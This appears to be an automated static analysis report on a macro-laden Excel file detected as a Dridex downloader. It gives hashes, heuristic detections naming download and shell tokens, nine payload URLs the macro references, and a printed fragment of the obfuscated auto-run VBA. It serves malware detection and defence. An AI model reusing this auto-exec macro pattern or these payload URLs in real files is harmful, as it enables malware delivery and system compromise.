Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 47e88d25247f32ad…

MALICIOUS

Office (OOXML)

46.8 KB Created: 2021-05-05 13:47:45 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-05-10
MD5: 3a3d5849e3cbc3f164d022e84c1530f5 SHA-1: 9dbb85134b1b59377a57c3046090ebe929d34210 SHA-256: 47e88d25247f32ad5ba7cecf145f1df141a86e58dd371542252121c47d6b394a
318 Risk Score

Heuristics 10

  • ClamAV: Xls.Downloader.DridexOffice0521-9863759-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.DridexOffice0521-9863759-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    If .Status = CLng((Not -201)) And Len(.responseBody) > CLng((10128 And 16243)) Then
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set marcellaembanking = CreateObject(DAMNEDSCULPTURAL)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    GELATINOUSNESSANTIMONARCHIST = Environ(ENCARNALISING_PHARMACOLOGISTS.woodbindsaintingscutellarpermi(locateableisobutenespudicities))
  • Clipboard command execution lure high SE_CLIPBOARD_COMMAND_LURE
    Document tells the user to copy or paste clipboard content into Run, PowerShell, cmd, or another shell-like execution context
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://darkmattercompany.com/billing/templates/orderforms/comparison/images/qr0T8qQVwzcZ.php Referenced by macro
    • https://backup.harmonieop.com/documents/files/ToSXd1PTb2B9t.phpReferenced by macro
    • https://munchuluu.mn/wp-content/themes/wallstreet/css/font-awesome/AU3QFCXjPwhJ7o.phpReferenced by macro
    • https://baapdeal.com/wp-includes/sodium_compat/src/Core32/ChaCha20/STp7CytyBySjQ.phpReferenced by macro
    • https://doderbilisim.com/test/images/product/orta/QwfrTRPs8g.phpReferenced by macro
    • https://sottocornolarchitetti.it/COPYRIGHT/img/RX3sPT02.phpReferenced by macro
    • https://dishordering.com/uat/lFd6a8nZcPSITN.phpReferenced by macro
    • https://labbair.net/wp-content/plugins/wpforms-lite/vendor/composer/VhqhbbcOBmHz8.phpReferenced by macro
    • https://buyjointsonline.com/wp-content/plugins/wpforms-lite/templates/emails/XBqOauNFUbs.phpReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 19816 bytes
SHA-256: 82e1882921821a2647cae954c73734c1a6b6b54c3a9f6a9a9ca9d1bd1194e37d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
On Error GoTo fancilesseditionedhandcraftsma
NOUSAUTECOLOGIES = 1 / 0
fancilesseditionedhandcraftsma:
If Err.Number <> 0 Then
Msg = "Thank You!"
MsgBox Msg, , "OK", Err.HelpFile, Err.HelpContext






















































































































































StrReverse (INVADERS_HALOBIONTS.AGEIST_HYPERSTIMULATION_RUSTLE(useabilities_freaked_roble_dec))
End If
Resume Next
End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet4"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet5"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ENCARNALISING_PHARMACOLOGISTS"
Function screamsstereotaxically(VESTRALPINOLES)








































































































































































































LIARDS_EDACITY = Worksheets("WORKAHOLICS_").Range("GQ235")
screamsstereotaxically = Join(Array(LIARDS_EDACITY))








































































































































































































End Function
Function CONSCIENTISINGUGALISGURRAH(smurring_porrigo_benignest)








































































































































































































foistednondeductibilitybipolar = Worksheets("WORKAHOLICS_").Range("DE225")
CONSCIENTISINGUGALISGURRAH = Join(Array(foistednondeductibilitybipolar))

















































































































































































…
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 124928 bytes
SHA-256: f65e5ee3cdd29360ee3e77841e1ce01f08761b6d460c65c7de3fb46fbb9dddc4

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